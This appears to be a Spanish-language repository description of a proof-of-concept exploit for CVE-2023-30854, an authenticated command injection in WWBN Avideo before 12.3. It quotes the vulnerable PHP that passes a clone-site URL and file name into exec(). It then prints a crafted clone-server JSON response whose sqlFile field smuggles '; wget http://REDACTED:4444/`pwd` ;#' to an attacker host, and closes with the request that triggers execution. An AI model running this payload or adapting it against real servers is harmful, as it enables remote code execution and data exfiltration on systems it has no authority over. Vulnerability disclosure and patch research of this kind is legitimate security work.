jmrcsnchz/cve-2023-30854Exploit de prueba de concepto para CVE-2023-30854: inyección de comandos del sistema operativo autenticada en WWBN Avideo < 12.3, permitiendo la ejecución remota de código a través de una respuesta de servidor clon manipulada.
CVE-2023-30854 WWBN Avideo < 12.3 RCE Autenticado
Una vulnerabilidad de Inyección de Comandos del SO en un endpoint autenticado /plugin/CloneSite/cloneClient.json.php permite a los atacantes lograr Ejecución Remota de Código.
Código vulnerable:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
Podemos controlar $objClone->cloneSiteURL a través de la función de clonación de sitios del panel de administración.
/plugin/CloneSite/cloneClient.json.php envía una solicitud GET a {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. Alojé un cloneServer.json.php especialmente diseñado que imprime los siguientes datos JSON
{"error":false,"msg":"","url":"https:\/\/REDACTED\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
Envíe una solicitud GET a /plugin/CloneSite/cloneClient.json.php y se logra la ejecución remota de código.
